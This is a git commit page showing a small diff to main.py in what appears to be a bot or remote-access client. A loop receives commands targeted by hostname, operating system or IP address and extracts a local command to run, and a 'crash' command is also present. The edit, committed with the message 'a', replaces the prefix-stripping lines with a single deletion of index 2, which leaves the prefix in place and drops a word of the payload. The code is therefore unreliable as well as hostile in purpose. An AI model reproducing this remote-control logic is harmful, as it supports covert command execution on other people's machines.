summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authormrdog233o5 <mr.dog233o5@gmail.com>2023-09-01 23:30:30 +0800
committermrdog233o5 <mr.dog233o5@gmail.com>2023-09-01 23:30:30 +0800
commite9cb6af75e2191d159a276fad8414c8a554086cb (patch)
treeda896e835d44873bca7f8f158fdf77c4014cd13d /main.py
parente54cc4f687ad4c4634179c7a6d7677b788a05cc5 (diff)
a
Diffstat (limited to 'main.py')
-rw-r--r--main.py12
1 files changed, 4 insertions, 8 deletions
diff --git a/main.py b/main.py
index 394f83b..b8b7b8f 100644
--- a/main.py
+++ b/main.py
@@ -107,18 +107,15 @@ while True:
if command.startswith("exename "):
localcmd = command.split()
if localcmd[1] == hostname:
- del localcmd[0]
- del localcmd[0]
+ del localcmd[2]
localcmd = ' '.join(localcmd)
- print(localcmd)
else:
old_command = commandId
continue
if command.startswith("exeos "):
localcmd = command.split()
if localcmd[1] == platform:
- del localcmd[0]
- del localcmd[0]
+ del localcmd[2]
localcmd = ' '.join(localcmd)
else:
old_command = commandId
@@ -126,10 +123,9 @@ while True:
if command.startswith("exeip "):
localcmd = command.split()
if localcmd[1] == ip:
- del localcmd[0]
- del localcmd[0]
+ del localcmd[2]
localcmd = ' '.join(localcmd)
- else:
+ else:
old_command = commandId
continue
if command.startswith("crash"):